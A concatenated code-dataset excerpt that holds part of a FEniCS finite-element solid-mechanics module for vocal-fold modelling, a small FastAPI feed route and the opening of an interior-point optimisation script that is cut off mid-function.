forms['form.un.f1uva'] += res\n # forms['coeff.prop.nu_membrane'] = nu\n # return forms\n\nclass IsotropicIncompressibleMembraneForm(PredefinedForm):\n \"\"\"\n Linear functional representing an incompressible isotropic elastic membrane\n \"\"\"\n\n COEFFICIENT_SPEC = {\n 'coeff.state.u1': func_spec('CG', 1, 'vector'),\n 'coeff.prop.emod_membrane': func_spec('DG', 0, 'scalar'),\n 'coeff.prop.th_membrane': func_spec('DG', 0, 'scalar')\n }\n\n def MAKE_FORM(self, coefficients, measure, mesh, large_def=False):\n vector_test = dfn.TestFunction(coefficients['coeff.state.u1'].function_space())\n\n # Define the 8th order projector to get the planar strain component\n mesh = coefficients['coeff.state.u1'].function_space().mesh()\n facet_normal = ufl.FacetNormal(mesh)\n n = ufl.as_tensor([facet_normal[0], facet_normal[1], 0.0])\n nn = ufl.outer(n, n)\n ident = ufl.Identity(n.ufl_shape[0])\n project_pp = ufl.outer(ident-nn, ident-nn)\n i, j, k, l = ufl.indices(4)\n\n strain_test = strain_inf(vector_test)\n strain_pp_test = ufl.as_tensor(project_pp[i, j, k, l] * strain_test[j, k], (i, l))\n\n dis = coefficients['coeff.state.u1']\n if large_def:\n strain = strain_green_lagrange(dis)\n strain_test = strain_lin_green_lagrange(dis, vector_test)\n else:\n strain = strain_inf(dis)\n strain_test = strain_inf(vector_test)\n strain_pp_test = ufl.as_tensor(project_pp[i, j, k, l] * strain_test[j, k], (i, l))\n\n emod_membrane = coefficients['coeff.prop.emod_membrane']\n th_membrane = coefficients['coeff.prop.th_membrane']\n nu = 0.5\n lame_mu = emod_membrane/2/(1+nu)\n strain_pp = ufl.as_tensor(project_pp[i, j, k, l] * strain[j, k], (i, l))\n\n stress_pp = 2*lame_mu*strain_pp + 2*lame_mu*ufl.tr(strain_pp)*(ident-nn)\n\n expressions = {}\n return ufl.inner(stress_pp, strain_pp_test) * th_membrane * measure, expressions\n\n# Viscous effect forms\n\nclass RayleighDampingForm(PredefinedForm):\n \"\"\"\n Linear functional representing a Rayleigh damping viscous stress\n \"\"\"\n\n COEFFICIENT_SPEC = {\n 'coeff.state.v1': func_spec('CG', 1, 'vector'),\n 'coeff.prop.rho': func_spec('DG', 0, 'scalar'),\n 'coeff.prop.emod': func_spec('DG', 0, 'scalar'),\n 'coeff.prop.nu': const_spec('scalar', 0.45),\n 'coeff.prop.rayleigh_m': const_spec('scalar', 1.0),\n 'coeff.prop.rayleigh_k': const_spec('scalar', 1.0)\n }\n\n def MAKE_FORM(self, coefficients, measure, mesh, large_def=False):\n\n vector_test = dfn.TestFunction(coefficients['coeff.state.v1'].function_space())\n\n dx = measure\n strain_test = strain_inf(vector_test)\n v = coefficients['coeff.state.v1']\n\n rayleigh_m = coefficients['coeff.prop.rayleigh_m']\n rayleigh_k = coefficients['coeff.prop.rayleigh_k']\n\n emod = coefficients['coeff.prop.emod']\n nu = coefficients['coeff.prop.nu']\n inf_strain = strain_inf(v)\n stress_elastic = stress_isotropic(inf_strain, emod, nu)\n stress_visco = rayleigh_k*stress_elastic\n\n rho = coefficients['coeff.prop.rho']\n force_visco = rayleigh_m*rho*v\n\n expressions = {}\n\n return (ufl.inner(force_visco, vector_test) + ufl.inner(stress_visco, strain_test))*dx, expressions\n\n # coefficients['form.un.f1uva'] += damping\n # # coefficients['coeff.prop.nu'] = nu\n # # coefficients['coeff.prop.rayleigh_m'] = rayleigh_m\n # # coefficients['coeff.prop.rayleigh_k'] = rayleigh_k\n # return coefficients\n\nclass KelvinVoigtForm(PredefinedForm):\n \"\"\"\n Linear functional representing a Kelvin-Voigt viscous stress\n \"\"\"\n\n COEFFICIENT_SPEC = {\n 'coeff.state.v1': func_spec('CG', 1, 'vector'),\n 'coeff.prop.eta': func_spec('DG', 0, 'scalar')\n }\n\n def MAKE_FORM(self, coefficients, measure, mesh):\n\n vector_test = dfn.TestFunction(coefficients['coeff.state.v1'].function_space())\n\n strain_test = strain_inf(vector_test)\n v = coefficients['coeff.state.v1']\n\n eta = coefficients['coeff.prop.eta']\n inf_strain_rate = strain_inf(v)\n stress_visco = eta*inf_strain_rate\n\n expressions = {}\n expressions['expr.kv_stress'] = stress_visco\n expressions['expr.kv_strain_rate'] = inf_strain_rate\n\n return ufl.inner(stress_visco, strain_test) * measure, expressions\n\nclass APForceForm(PredefinedForm):\n \"\"\"\n Linear functional representing a anterior-posterior (AP) force\n \"\"\"\n\n COEFFICIENT_SPEC = {\n 'coeff.state.u1': func_spec('CG', 1, 'vector'),\n 'coeff.state.v1': func_spec('CG', 1, 'vector'),\n 'coeff.prop.eta': func_spec('DG', 0, 'scalar'),\n 'coeff.prop.emod': func_spec('DG', 0, 'scalar'),\n 'coeff.prop.nu': const_spec('scalar', default_value=0.45),\n 'coeff.prop.u_ant': func_spec('DG', 0, 'scalar'),\n 'coeff.prop.u_pos': func_spec('DG', 0, 'scalar'),\n 'coeff.prop.length': func_spec('DG', 0, 'scalar'),\n 'coeff.prop.muscle_stress': func_spec('DG', 0, 'scalar'),\n }\n\n def MAKE_FORM(self, coefficients, measure, mesh):\n vector_test = dfn.TestFunction(coefficients['coeff.state.v1'].function_space())\n\n u1, v1 = coefficients['coeff.state.u1'], coefficients['coeff.state.v1']\n kv_eta = coefficients['coeff.prop.eta']\n emod = coefficients['coeff.prop.emod']\n nu = coefficients['coeff.prop.nu']\n lame_mu = emod/2/(1+nu)\n\n u_ant = coefficients['coeff.prop.u_ant'] # zero values by default\n u_pos = coefficients['coeff.prop.u_pos']\n length = coefficients['coeff.prop.length']\n muscle_stress = coefficients['coeff.prop.muscle_stress']\n\n d2u_dz2 = (u_ant - 2*u1 + u_pos) / length**2\n d2v_dz2 = (u_ant - 2*v1 + u_pos) / length**2\n force_elast_ap = (lame_mu+muscle_stress)*d2u_dz2\n force_visco_ap = 0.5*kv_eta*d2v_dz2\n stiffness = ufl.inner(force_elast_ap, vector_test) * measure\n viscous = ufl.inner(force_visco_ap, vector_test) * measure\n\n expressions = {}\n\n return -stiffness - viscous, expressions\n\n# Add shape effect forms\nclass ShapeForm(PredefinedForm):\n \"\"\"\n Linear functional that just adds a shape parameter\n\n TODO: This doesn't really work anymore after I updated the form class\n \"\"\"\n\n COEFFICIENT_SPEC = {\n 'coeff.prop.umesh': func_spec('CG', 1, 'vector')\n }\n\n def MAKE_FORM(self, coefficients, measure, mesh):\n vector_test = dfn.TestFunction(coefficients['coeff.prop.umesh'].function_space())\n umesh = coefficients['coeff.prop.umesh']\n umesh_ufl = ufl.SpatialCoordinate(mesh)\n\n # NOTE: To find the sensitivity w.r.t shape, UFL actually uses the parameters\n # `ufl.SpatialCoordinate(mesh)`\n # This doesn't have an associated function/vector of values so both are included\n # here\n # The code has to manually account for 'coeff.prop' cases that have both a\n # function/vector and ufl coefficient instance\n # forms['coeff.prop.umesh'] = (umesh, ufl.SpatialCoordinate(mesh))\n # forms['mesh.REF_COORDINATES'] = mesh.coordinates().copy()\n\n expressions = {}\n\n return 0*ufl.inner(umesh_ufl, vector_test)*measure, expressions\n\n## Residual definitions\n\nclass FenicsResidual(base.BaseResidual):\n \"\"\"\n Representation of a (non-linear) residual in `Fenics`\n\n This includes additional information defining the residual such as the mesh,\n mesh functions, Dirichlet boundary conditions, etc.\n \"\"\"\n\n def __init__(\n self,\n linear_form: FenicsForm,\n mesh: dfn.Mesh,\n mesh_functions: list[dfn.MeshFunction],\n mesh_functions_label_to_value: list[Mapping[str, int]],\n fsi_facet_labels: list[str],\n fixed_facet_labels: list[str]\n ):\n\n self._mesh = mesh\n self._ref_mesh_coords = np.array(mesh.coordinates())\n self._form = linear_form\n\n self._mesh_functions = mesh_functions\n self._mesh_functions_label_to_value = mesh_functions_label_to_value\n\n fixed_subdomain_idxs = [\n self.mesh_function_label_to_value('facet')[facet_label]\n for facet_label in fixed_facet_labels\n ]\n fun_space = self.form['coeff.state.u1'].function_space()\n fixed_dis = dfn.Constant(mesh.topology().dim()*[0.0])\n self._dirichlet_bcs = tuple(\n dfn.DirichletBC(\n fun_space, fixed_dis,\n self.mesh_function('facet'), fixed_subdomain_idx\n )\n for fixed_subdomain_idx in fixed_subdomain_idxs\n )\n\n self._fsi_facet_labels = fsi_facet_labels\n self._fixed_facet_labels = fixed_facet_labels\n\n @property\n def form(self) -> FenicsForm:\n return self._form\n\n def mesh(self) -> dfn.Mesh:\n return self._mesh\n\n @property\n def ref_mesh_coords(self) -> NDArray[float]:\n \"\"\"\n Return the original/reference mesh coordinates\n\n These are the mesh coordinates for zero mesh motion\n \"\"\"\n return self._ref_mesh_coords\n\n @staticmethod\n def _mesh_element_type_to_idx(mesh_element_type: Union[str, int]) -> int:\n if isinstance(mesh_element_type, str):\n if mesh_element_type == 'vertex':\n return 0\n elif mesh_element_type == 'facet':\n return -2\n elif mesh_element_type == 'cell':\n return -1\n elif isinstance(mesh_element_type, int):\n return mesh_element_type\n else:\n raise TypeError(\n f\"`mesh_element_type` must be `str` or `int`, not `{type(mesh_element_type)}`\"\n )\n\n def mesh_function(self, mesh_element_type: Union[str, int]) -> dfn.MeshFunction:\n idx = self._mesh_element_type_to_idx(mesh_element_type)\n return self._mesh_functions[idx]\n\n def mesh_function_label_to_value(self, mesh_element_type: Union[str, int]) -> Mapping[str, int]:\n idx = self._mesh_element_type_to_idx(mesh_element_type)\n return self._mesh_functions_label_to_value[idx]\n\n def measure(self, integral_type: str):\n if integral_type == 'dx':\n mf = self.mesh_function('cell')\n elif integral_type == 'ds':\n mf = self.mesh_function('facet')\n else:\n raise ValueError(\"Unknown `integral_type` '{integral_type}'\")\n return dfn.Measure(integral_type, self.mesh(), subdomain_data=mf)\n\n @property\n def dirichlet_bcs(self) -> list[dfn.DirichletBC]:\n return self._dirichlet_bcs\n\n @property\n def fsi_facet_labels(self):\n return self._fsi_facet_labels\n\n @property\n def fixed_facet_labels(self):\n return self._fixed_facet_labels\n\nclass PredefinedFenicsResidual(FenicsResidual):\n \"\"\"\n Class representing a pre-defined residual\n \"\"\"\n\n def __init__(\n self,\n mesh: dfn.Mesh,\n mesh_functions: list[dfn.MeshFunction],\n mesh_functions_label_to_value: list[Mapping[str, int]],\n fsi_facet_labels: list[str],\n fixed_facet_labels: list[str]\n ):\n\n functional = self._make_functional(\n mesh, mesh_functions, mesh_functions_label_to_value, fsi_facet_labels, fixed_facet_labels\n )\n super().__init__(\n functional,\n mesh, mesh_functions, mesh_functions_label_to_value,\n fsi_facet_labels, fixed_facet_labels\n )\n\n def _make_functional(\n self,\n mesh: dfn.Mesh,\n mesh_functions: list[dfn.MeshFunction],\n mesh_functions_label_to_value: list[Mapping[str, int]],\n fsi_facet_labels: list[str],\n fixed_facet_labels: list[str]\n ) -> dfn.Form:\n raise NotImplementedError()\n\ndef _process_measures(\n mesh: dfn.Mesh,\n mesh_functions: list[dfn.MeshFunction],\n mesh_functions_label_to_value: list[Mapping[str, int]],\n fsi_facet_labels: list[str],\n fixed_facet_labels: list[str]\n ):\n if len(mesh_functions) == 3:\n vertex_func, facet_func, cell_func = mesh_functions\n vertex_label_to_id, facet_label_to_id, cell_label_to_id = mesh_functions_label_to_value\n elif len(mesh_functions) == 4:\n vertex_func, edge_func, facet_func, cell_func = mesh_functions\n vertex_label_to_id, edge_label_to_id, facet_label_to_id, cell_label_to_id = mesh_functions_label_to_value\n else:\n raise ValueError(f\"`mesh_functions` has length {len(mesh_functions):d}\")\n\n dx = dfn.Measure('dx', domain=mesh, subdomain_data=cell_func)\n ds = dfn.Measure('ds', domain=mesh, subdomain_data=facet_func)\n _traction_ds = [ds(int(facet_label_to_id[facet_label])) for facet_label in fsi_facet_labels]\n traction_ds = reduce(operator.add, _traction_ds)\n return dx, ds, traction_ds\n\nclass Rayleigh(PredefinedFenicsResidual):\n\n def _make_functional(\n self,\n mesh: dfn.Mesh,\n mesh_functions: list[dfn.MeshFunction],\n mesh_functions_label_to_value: list[Mapping[str, int]],\n fsi_facet_labels: list[str],\n fixed_facet_labels: list[str]\n ):\n dx, ds, traction_ds = _process_measures(\n mesh,\n mesh_functions,\n mesh_functions_label_to_value,\n fsi_facet_labels,\n fixed_facet_labels\n )\n\n form = (\n InertialForm({}, dx, mesh)\n + IsotropicElasticForm({}, dx, mesh)\n + RayleighDampingForm({}, dx, mesh)\n - SurfacePressureForm({}, traction_ds, mesh)\n - ManualSurfaceContactTractionForm({}, traction_ds, mesh)\n )\n return form\n\nclass KelvinVoigt(PredefinedFenicsResidual):\n\n def _make_functional(\n self,\n mesh: dfn.Mesh,\n mesh_functions: list[dfn.MeshFunction],\n mesh_functions_label_to_value: list[Mapping[str, int]],\n fsi_facet_labels: list[str],\n fixed_facet_labels: list[str]\n ):\n\n dx, ds, traction_ds = _process_measures(\n mesh,\n mesh_functions,\n mesh_functions_label_to_value,\n fsi_facet_labels,\n fixed_facet_labels\n )\n\n form = (\n InertialForm({}, dx, mesh)\n + IsotropicElasticForm({}, dx, mesh)\n + KelvinVoigtForm({}, dx, mesh)\n - SurfacePressureForm({}, traction_ds, mesh)\n - ManualSurfaceContactTractionForm({}, traction_ds, mesh)\n )\n return form\n\nclass KelvinVoigtWShape(PredefinedFenicsResidual):\n\n def _make_functional(\n self,\n mesh: dfn.Mesh,\n mesh_functions: list[dfn.MeshFunction],\n mesh_functions_label_to_value: list[Mapping[str, int]],\n fsi_facet_labels: list[str],\n fixed_facet_labels: list[str]\n ):\n\n dx, ds, traction_ds = _process_measures(\n mesh,\n mesh_functions,\n mesh_functions_label_to_value,\n fsi_facet_labels,\n fixed_facet_labels\n )\n\n form = (\n InertialForm({}, dx, mesh)\n + IsotropicElasticForm({}, dx, mesh)\n + KelvinVoigtForm({}, dx, mesh)\n - SurfacePressureForm({}, traction_ds, mesh)\n - ManualSurfaceContactTractionForm({}, traction_ds, mesh)\n - ShapeForm({}, dx, mesh)\n )\n return form\n\nclass KelvinVoigtWEpithelium(PredefinedFenicsResidual):\n\n def _make_functional(\n self,\n mesh: dfn.Mesh,\n mesh_functions: list[dfn.MeshFunction],\n mesh_functions_label_to_value: list[Mapping[str, int]],\n fsi_facet_labels: list[str],\n fixed_facet_labels: list[str]\n ):\n dx, ds, traction_ds = _process_measures(\n mesh,\n mesh_functions,\n mesh_functions_label_to_value,\n fsi_facet_labels,\n fixed_facet_labels\n )\n\n form = (\n InertialForm({}, dx, mesh)\n + IsotropicMembraneForm({}, traction_ds, mesh)\n + IsotropicElasticForm({}, dx, mesh)\n + KelvinVoigtForm({}, dx, mesh)\n - SurfacePressureForm({}, traction_ds, mesh)\n - ManualSurfaceContactTractionForm({}, traction_ds, mesh)\n )\n return form\n\nclass IncompSwellingKelvinVoigt(PredefinedFenicsResidual):\n\n def _make_functional(\n self,\n mesh: dfn.Mesh,\n mesh_functions: list[dfn.MeshFunction],\n mesh_functions_label_to_value: list[Mapping[str, int]],\n fsi_facet_labels: list[str],\n fixed_facet_labels: list[str]\n ):\n dx, ds, traction_ds = _process_measures(\n mesh,\n mesh_functions,\n mesh_functions_label_to_value,\n fsi_facet_labels,\n fixed_facet_labels\n )\n\n form = (\n InertialForm({}, dx, mesh)\n + IsotropicIncompressibleElasticSwellingForm({}, dx, mesh)\n + KelvinVoigtForm({}, dx, mesh)\n - SurfacePressureForm({}, traction_ds, mesh)\n - ManualSurfaceContactTractionForm({}, traction_ds, mesh)\n )\n return form\n\nclass SwellingKelvinVoigt(PredefinedFenicsResidual):\n\n def _make_functional(\n self,\n mesh: dfn.Mesh,\n mesh_functions: list[dfn.MeshFunction],\n mesh_functions_label_to_value: list[Mapping[str, int]],\n fsi_facet_labels: list[str],\n fixed_facet_labels: list[str]\n ):\n dx, ds, traction_ds = _process_measures(\n mesh,\n mesh_functions,\n mesh_functions_label_to_value,\n fsi_facet_labels,\n fixed_facet_labels\n )\n\n form = (\n InertialForm({}, dx, mesh)\n + IsotropicElasticSwellingForm({}, dx, mesh)\n + KelvinVoigtForm({}, dx, mesh)\n - SurfacePressureForm({}, traction_ds, mesh)\n - ManualSurfaceContactTractionForm({}, traction_ds, mesh)\n )\n return form\n\nclass SwellingKelvinVoigtWEpithelium(PredefinedFenicsResidual):\n\n def _make_functional(\n self,\n mesh: dfn.Mesh,\n mesh_functions: list[dfn.MeshFunction],\n mesh_functions_label_to_value: list[Mapping[str, int]],\n fsi_facet_labels: list[str],\n fixed_facet_labels: list[str]\n ):\n dx, ds, traction_ds = _process_measures(\n mesh,\n mesh_functions,\n mesh_functions_label_to_value,\n fsi_facet_labels,\n fixed_facet_labels\n )\n\n form = (\n InertialForm({}, dx, mesh)\n + IsotropicMembraneForm({}, traction_ds, mesh)\n + IsotropicElasticSwellingForm({}, dx, mesh)\n + KelvinVoigtForm({}, dx, mesh)\n - SurfacePressureForm({}, traction_ds, mesh)\n - ManualSurfaceContactTractionForm({}, traction_ds, mesh)\n )\n return form\n\nclass SwellingKelvinVoigtWEpitheliumNoShape(PredefinedFenicsResidual):\n\n def _make_functional(\n self,\n mesh: dfn.Mesh,\n mesh_functions: list[dfn.MeshFunction],\n mesh_functions_label_to_value: list[Mapping[str, int]],\n fsi_facet_labels: list[str],\n fixed_facet_labels: list[str]\n ):\n dx, ds, traction_ds = _process_measures(\n mesh,\n mesh_functions,\n mesh_functions_label_to_value,\n fsi_facet_labels,\n fixed_facet_labels\n )\n\n form = (\n InertialForm({}, dx, mesh)\n + IsotropicMembraneForm({}, traction_ds, mesh)\n + IsotropicElasticSwellingForm({}, dx, mesh)\n + KelvinVoigtForm({}, dx, mesh)\n - SurfacePressureForm({}, traction_ds, mesh)\n - ManualSurfaceContactTractionForm({}, traction_ds, mesh)\n )\n return form\n\nclass Approximate3DKelvinVoigt(PredefinedFenicsResidual):\n\n def _make_functional(\n self,\n mesh: dfn.Mesh,\n mesh_functions: list[dfn.MeshFunction],\n mesh_functions_label_to_value: list[Mapping[str, int]],\n fsi_facet_labels: list[str],\n fixed_facet_labels: list[str]\n ):\n dx, ds, traction_ds = _process_measures(\n mesh,\n mesh_functions,\n mesh_functions_label_to_value,\n fsi_facet_labels,\n fixed_facet_labels\n )\n\n form = (\n InertialForm({}, dx, mesh)\n + IsotropicMembraneForm({}, traction_ds, mesh)\n + IsotropicElasticForm({}, dx, mesh)\n - APForceForm({}, dx, mesh)\n + KelvinVoigtForm({}, dx, mesh)\n - SurfacePressureForm({}, traction_ds, mesh)\n - ManualSurfaceContactTractionForm({}, traction_ds, mesh)\n )\n return form\n\n## Form modifiers\n\ndef modify_newmark_time_discretization(form: FenicsForm) -> FenicsForm:\n u1 = form['coeff.state.u1']\n v1 = form['coeff.state.v1']\n a1 = form['coeff.state.a1']\n\n u0 = dfn.Function(form['coeff.state.u1'].function_space())\n v0 = dfn.Function(form['coeff.state.v1'].function_space())\n a0 = dfn.Function(form['coeff.state.a1'].function_space())\n\n dt = dfn.Function(form['coeff.prop.rho'].function_space())\n gamma = dfn.Constant(1/2)\n beta = dfn.Constant(1/4)\n v1_nmk = newmark.newmark_v(u1, u0, v0, a0, dt, gamma, beta)\n a1_nmk = newmark.newmark_a(u1, u0, v0, a0, dt, gamma, beta)\n\n new_coefficients = {\n 'coeff.state.u0': u0,\n 'coeff.state.v0': v0,\n 'coeff.state.a0': a0,\n 'coeff.time.dt': dt,\n 'coeff.time.gamma': gamma,\n 'coeff.time.beta': beta\n }\n\n coefficients = {**form.coefficients, **new_coefficients}\n\n new_functional = ufl.replace(form.form, {v1: v1_nmk, a1: a1_nmk})\n\n return FenicsForm(new_functional, coefficients, form.expressions)\n\ndef modify_unary_linearized_forms(form: FenicsForm) -> Mapping[str, dfn.Form]:\n \"\"\"\n Generate linearized forms representing linearization of the residual wrt different states\n\n These forms are needed for solving the Hopf bifurcation problem/conditions\n \"\"\"\n new_coefficients = {}\n\n # Create coefficients for linearization directions\n for var_name in ['u1', 'v1', 'a1']:\n new_coefficients[f'coeff.dstate.{var_name}'] = dfn.Function(\n form[f'coeff.state.{var_name}'].function_space()\n )\n for var_name in ['p1']:\n new_coefficients[f'coeff.dfsi.{var_name}'] = dfn.Function(\n form[f'coeff.fsi.{var_name}'].function_space()\n )\n\n # Compute the jacobian bilinear forms\n # unary_form_name = 'f1uva'\n # for var_name in ['u1', 'v1', 'a1']:\n # form[f'form.bi.d{unary_form_name}_d{var_name}'] = dfn.derivative(form.form, form[f'coeff.state.{var_name}'])\n # for var_name in ['p1']:\n # form[f'form.bi.d{unary_form_name}_d{var_name}'] = dfn.derivative(form.form, form[f'coeff.fsi.{var_name}'])\n\n # Take the action of the jacobian linear forms along states to get a new linear\n # dF/dx * delta x, dF/dp * delta p, ...\n linearized_forms = []\n for var_name in ['u1', 'v1', 'a1']:\n # unary_form_name = f'df1uva_{var_name}'\n df_dx = dfn.derivative(form.form, form[f'coeff.state.{var_name}'])\n # print(len(df_dx.arguments()))\n # print(len(forms[f'form.un.f1uva'].arguments()))\n linearized_form = dfn.action(df_dx, new_coefficients[f'coeff.dstate.{var_name}'])\n linearized_forms.append(linearized_form)\n\n for var_name in ['p1']:\n # unary_form_name = f'df1uva_{var_name}'\n # df_dx = form[f'form.bi.df1uva_d{var_name}']\n df_dx = dfn.derivative(form.form, form[f'coeff.fsi.{var_name}'])\n linearized_form = dfn.action(df_dx, new_coefficients[f'coeff.dfsi.{var_name}'])\n linearized_forms.append(linearized_form)\n\n # Compute the total linearized residual\n new_form = reduce(operator.add, linearized_forms)\n\n return FenicsForm(\n new_form,\n {**form.coefficients, **new_coefficients},\n form.expressions\n )\n\n## Common functions\n\ndef _depack_property_ufl_coeff(form_property):\n \"\"\"\n Return the 'ufl.Coefficient' component from a stored 'coeff.prop.' value\n\n This mainly handles the shape parameter which is stored as a tuple\n of a function and an associated `ufl.Coefficient`.\n \"\"\"\n if isinstance(form_property, tuple):\n return form_property[1]\n else:\n return form_property\n\ndef dis_contact_gap(gap):\n \"\"\"\n Return the positive gap\n \"\"\"\n with warnings.catch_warnings():\n warnings.filterwarnings(\n 'ignore',\n category=RuntimeWarning,\n message='invalid value encountered in add'\n )\n positive_gap = (gap + abs(gap)) / 2\n positive_gap = np.where(\n gap == -np.inf,\n 0.0,\n positive_gap\n )\n return positive_gap\n\ndef pressure_contact_cubic_penalty(gap, kcoll):\n \"\"\"\n Return the cubic penalty pressure\n \"\"\"\n positive_gap = dis_contact_gap(gap)\n return kcoll*positive_gap**3\n\ndef dform_cubic_penalty_pressure(gap, kcoll):\n \"\"\"\n Return derivatives of the cubic penalty pressure\n \"\"\"\n positive_gap = dis_contact_gap(gap)\n dpositive_gap = np.sign(gap)\n return kcoll*3*positive_gap**2 * dpositive_gap, positive_gap**3\n\n\n\n## Generation of new forms\n# These functions are mainly for generating forms that are needed for solving\n# the transient problem with a time discretization\ndef gen_residual_bilinear_forms(form: FenicsForm) -> Mapping[str, dfn.Form]:\n \"\"\"\n Generates bilinear forms representing derivatives of the residual wrt state variables\n\n If the residual is F(u, v, a; parameters, ...), this function generates\n bilinear forms dF/du, dF/dv, etc...\n \"\"\"\n bi_forms = {}\n # Derivatives of the displacement residual form wrt all state variables\n initial_state_names = [f'coeff.state.{y}' for y in ('u0', 'v0', 'a0')]\n final_state_names = [f'coeff.state.{y}' for y in ('u1', 'v1', 'a1')]\n manual_state_var_names = [name for name in form.keys() if 'coeff.state.manual' in name]\n\n # This section is for derivatives of the time-discretized residual\n # F(u0, v0, a0, u1; parameters, ...)\n for full_var_name in (\n initial_state_names\n + ['coeff.state.u1']\n + manual_state_var_names\n + ['coeff.time.dt', 'coeff.fsi.p1']):\n f = form.form\n x = form[full_var_name]\n\n var_name = full_var_name.split(\".\")[-1]\n form_name = f'form.bi.df1_d{var_name}'\n bi_forms[form_name] = dfn.derivative(f, x)\n bi_forms[f'{form_name}_adj'] = dfn.adjoint(bi_forms[form_name])\n\n # This section is for derivatives of the original not time-discretized residual\n # F(u1, v1, a1; parameters, ...)\n for full_var_name in (\n final_state_names\n + manual_state_var_names\n + ['coeff.fsi.p1']):\n f = form.form\n x = form[full_var_name]\n\n var_name = full_var_name.split(\".\")[-1]\n form_name = f'form.bi.df1uva_d{var_name}'\n bi_forms[form_name] = dfn.derivative(f, x)\n try:\n # TODO: This can fail if the form is not sensitive to a coefficient so the derivative\n # is 0\n bi_forms[f'{form_name}_adj'] = dfn.adjoint(bi_forms[form_name])\n except:\n pass\n\n return bi_forms\n\ndef gen_residual_bilinear_property_forms(form: FenicsForm) -> Mapping[str, dfn.Form]:\n \"\"\"\n Return a dictionary of forms of derivatives of f1 with respect to the various solid parameters\n \"\"\"\n df1_dsolid = {}\n property_labels = [\n form_name.split('.')[-1] for form_name in form.keys()\n if 'coeff.prop' in form_name\n ]\n for prop_name in property_labels:\n prop_coeff = _depack_property_ufl_coeff(form[f'coeff.prop.{prop_name}'])\n try:\n df1_dsolid[prop_name] = dfn.adjoint(\n dfn.derivative(form['form.un.f1'], prop_coeff)\n )\n except RuntimeError:\n df1_dsolid[prop_name] = None\n\n return df1_dsolid\n\n# These functions are mainly for generating derived forms that are needed for solving\n# the hopf bifurcation problem\ndef gen_hopf_forms(form: FenicsForm) -> Mapping[str, dfn.Form]:\n forms = {}\n # forms.update(modify_unary_linearized_forms(form))\n\n # unary_form_names = ['f1uva', 'df1uva', 'df1uva_u1', 'df1uva_v1', 'df1uva_a1', 'df1uva_p1']\n # for unary_form_name in unary_form_names:\n # forms.update(gen_jac_state_forms(unary_form_name, form))\n # for unary_form_name in unary_form_names:\n # forms.update(gen_jac_property_forms(unary_form_name, form))\n\n forms.update(gen_jac_state_forms(form.form))\n\n return forms\n\ndef gen_jac_state_forms(form: FenicsForm) -> Mapping[str, dfn.Form]:\n \"\"\"\n Return the derivatives of a unary form wrt all states\n \"\"\"\n forms = {}\n state_labels = ['u1', 'v1', 'a1']\n for state_name in state_labels:\n df_dx = dfn.derivative(form.form, form[f'coeff.state.{state_name}'])\n forms[f'form.bi.dres_d{state_name}'] = df_dx\n\n state_labels = ['p1']\n for state_name in state_labels:\n df_dx = dfn.derivative(form.form, form[f'coeff.fsi.{state_name}'])\n forms[f'form.bi.dres_d{state_name}'] = df_dx\n\n return forms\n\ndef gen_jac_property_forms(form: FenicsForm) -> Mapping[str, dfn.Form]:\n \"\"\"\n Return the derivatives of a unary form wrt all solid properties\n \"\"\"\n forms = {}\n property_labels = [\n form_name.split('.')[-1] for form_name in form.keys()\n if 'coeff.prop' in form_name\n ]\n for prop_name in property_labels:\n prop_coeff = form[f'coeff.prop.{prop_name}']\n try:\n df_dprop = dfn.derivative(form.form, prop_coeff)\n except RuntimeError:\n df_dprop = None\n\n forms[f'form.bi.dres_d{prop_name}'] = df_dprop\n\n return forms\n\n\n","repo_name":"jon-deng/vf-fem","sub_path":"femvf/models/equations/solid.py","file_name":"solid.py","file_ext":"py","file_size_in_byte":52259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"19213670800","text":"from fastapi import APIRouter\n\nfrom app.brainly_api import graphql_api\nfrom app.brainly_api.graphql_queries import GET_FEED_QUERY\nfrom app.util import transform_gql_feed_node\nfrom app.models import GetFeedResponse\n\n\nrouter = APIRouter(prefix=\"/feed\")\n\n\n@router.get(\"\", response_model=GetFeedResponse, response_model_exclude_none=True)\nasync def get_feed(cursor: str | None = None):\n data = await graphql_api.query(GET_FEED_QUERY, {\n \"before\": cursor\n })\n\n return GetFeedResponse(\n end_cursor=data[\"feed\"][\"pageInfo\"][\"endCursor\"],\n nodes=[\n transform_gql_feed_node(edge[\"node\"]) for edge in data[\"feed\"][\"edges\"]\n ]\n )\n","repo_name":"ZnanijaDevs/znanija-api-gateway","sub_path":"app/routes/feed.py","file_name":"feed.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"30908023462","text":"import math\n\nimport numpy as np\nfrom autograd import grad, jacobian\n\n\ndef g(f, ineq_constraints, x, t):\n df = grad(f)\n df_x = df(x)\n df_x.shape = (df_x.shape[0], 1)\n s = np.zeros((x.shape[0], 1))\n for func in ineq_constraints:\n dfunc = grad(func)\n sfunc = 1 / (-1 * func(x)) * dfunc(x)\n sfunc.shape = (x.shape[0], 1)\n s += sfunc\n return t * df_x + s\n\n\ndef h(f, ineq_constraints, x, t):\n x = np.squeeze(x)\n df = grad(f)\n hf = jacobian(df)\n s1 = np.zeros((x.shape[0], x.shape[0]))\n for func in ineq_constraints:\n dfunc = grad(func)\n s1 += 1 / (func(x) ** 2) * dfunc(x).reshape(-1, 1) @ dfunc(x).reshape(-1, 1).T\n\n s2 = np.zeros((x.shape[0], x.shape[0]))\n for func in ineq_constraints:\n dfunc = grad(func)\n hfunc = jacobian(dfunc)\n s2 += 1 / (-1 * func(x)) * hfunc(x)\n\n return t * hf(x) + s1 + s2\n\n\ndef backtracking(c1, p, f, pk, xk, df_xk):\n alpha = 0.5\n xk.shape = (xk.shape[0], 1)\n try:\n wolfe_conditions_met = f(xk + alpha * pk)[0] <= f(xk)[0] + c1 * alpha * (df_xk.T @ pk)\n except Exception:\n wolfe_conditions_met = False\n while not wolfe_conditions_met:\n alpha = p * alpha\n try:\n wolfe_conditions_met = f(xk + alpha * pk)[0] <= f(xk)[0] + c1 * alpha * (df_xk.T @ pk)\n except Exception:\n wolfe_conditions_met = False\n\n return alpha\n\n\ndef newton_equality_constrained(f_orig, ineq_constraints, A, x0, t, phi, e):\n max_iter = 1000\n f = lambda x: t * f_orig(x) + phi(x)\n x_prev = x0\n i = 0\n while i < max_iter:\n i = i + 1\n df_prev = g(f_orig, ineq_constraints, x_prev, t)\n df_prev.shape = (df_prev.shape[0], 1)\n hf_prev = h(f_orig, ineq_constraints, x_prev, t)\n\n if A is None:\n try:\n inv_h = 